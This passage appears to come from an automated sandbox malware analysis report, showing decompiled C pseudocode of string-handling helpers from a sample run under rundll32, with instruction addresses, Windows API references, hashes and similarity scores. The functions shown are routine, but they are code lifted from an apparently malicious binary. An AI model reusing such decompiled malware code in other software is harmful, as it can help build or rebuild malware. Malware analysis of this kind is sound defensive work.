				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E02C933DC(_t2);
				if(_t34 != 0) {
					_t30 = E02C933DC(_t28);
					if(_t30 == 0) {
						E02C961DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E02C97AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E02C97AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                    0x02c92058
                    0x02c92062
                    0x02c92064
                    0x02c9206a
                    0x02c9206a
                    0x02c92073
                    0x02c92077
                    0x02c92083
                    0x02c92087
                    0x02c920fb
                    0x02c92089
                    0x02c92089
                    0x02c9208d
                    0x02c92092
                    0x02c92097
                    0x02c920b1
                    0x02c920a0
                    0x02c920a0
                    0x02c920a4
                    0x02c920a7
                    0x02c920ac
                    0x02c920ac
                    0x02c920b6
                    0x02c920de
                    0x02c920e4
                    0x02c920e7
                    0x02c920b8
                    0x02c920ba
                    0x02c920c2
                    0x02c920cd
                    0x02c920d2
                    0x02c920d2
                    0x02c920ee
                    0x02c920f5
                    0x02c920f6
                    0x02c920f6
                    0x02c92087
                    0x02c92106

                    APIs
                    • lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,02C951F7,?,?,?,?,00000102,02C921E7,?,?,74CF81D0), ref: 02C92064
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                      • Part of subcall function 02C97AE9: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,02C92092,00000000,00000001,00000001,?,?,02C951F7,?,?,?,?,00000102), ref: 02C97AF7
                      • Part of subcall function 02C97AE9: StrChrA.SHLWAPI(?,0000003F,?,?,02C951F7,?,?,?,?,00000102,02C921E7,?,?,74CF81D0,00000000), ref: 02C97B01
                    • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,02C951F7,?,?,?,?,00000102,02C921E7,?), ref: 02C920C2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 02C920D2
                    • lstrcpy.KERNEL32(00000000,00000000), ref: 02C920DE
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                    • String ID:
                    • API String ID: 3767559652-0
                    • Opcode ID: 2fc905c5ee72a1e94e95514bbbca0b90de4b0590e6376debcf5059abbfa20cc8
                    • Instruction ID: 5c53b48f291ed6f81c16933072459a4ee87b981c10ab6bf3eb611ba2494e8618
                    • Opcode Fuzzy Hash: 2fc905c5ee72a1e94e95514bbbca0b90de4b0590e6376debcf5059abbfa20cc8
                    • Instruction Fuzzy Hash: 4B21AC72500255FBCF129FB5CC4CAAEBFB9AF45290B149054FD499B201DB31DA11DBE2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95DE4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C95DE4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E02C933DC(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                    0x02c95df9
                    0x02c95dfd
                    0x02c95e07
                    0x02c95e0c
                    0x02c95e11
                    0x02c95e13
                    0x02c95e1b
                    0x02c95e20
                    0x02c95e2e
                    0x02c95e33
                    0x02c95e3d

                    APIs
                    • lstrlenW.KERNEL32(004F0053,?,74CB5520,00000008,05429270,?,02C952D0,004F0053,05429270,?,?,?,?,?,?,02C968B6), ref: 02C95DF4
                    • lstrlenW.KERNEL32(02C952D0,?,02C952D0,004F0053,05429270,?,?,?,?,?,?,02C968B6), ref: 02C95DFB
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • memcpy.NTDLL(00000000,004F0053,74CB69A0,?,?,02C952D0,004F0053,05429270,?,?,?,?,?,?,02C968B6), ref: 02C95E1B
                    • memcpy.NTDLL(74CB69A0,02C952D0,00000002,00000000,004F0053,74CB69A0,?,?,02C952D0,004F0053,05429270), ref: 02C95E2E
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlenmemcpy$AllocateHeap
                    • String ID:
                    • API String ID: 2411391700-0
                    • Opcode ID: 96cd8480a77205f411e55aae9be851f5749e46c334fa1806ab891214bf8a49a4
                    • Instruction ID: 4dc335cab025aa886bd512c39d095525f6380a87570366c9cb4d581aa3fc0902
                    • Opcode Fuzzy Hash: 96cd8480a77205f411e55aae9be851f5749e46c334fa1806ab891214bf8a49a4
                    • Instruction Fuzzy Hash: 9FF04936900119BBCF12EFA8CC88CCE7BADEF483947514062ED18D7201EB35EA119FA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97563 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlen.KERNEL32(05429BD0,00000000,00000000,00000000,02C93EF9,00000000), ref: 02C97573
                    • lstrlen.KERNEL32(?), ref: 02C9757B
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • lstrcpy.KERNEL32(00000000,05429BD0), ref: 02C9758F
                    • lstrcat.KERNEL32(00000000,?), ref: 02C9759A
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                    • String ID:
                    • API String ID: 74227042-0
                    • Opcode ID: 95afb5c87ab27ec2664dce3fad6c84061118548c81a5c4f97a6a461c6413bfc7
                    • Instruction ID: 7d86a0c734ec237362d8a99f8d3e36054b15a1a235de690cccdb0dac639b3ab6
                    • Opcode Fuzzy Hash: 95afb5c87ab27ec2664dce3fad6c84061118548c81a5c4f97a6a461c6413bfc7
                    • Instruction Fuzzy Hash: 65E06D73901620AB8F115AA8AC4CD5BBAADFF8D650704091AF614D3100C73199228BE1
                    Uniqueness

                    Uniqueness Score: -1.00%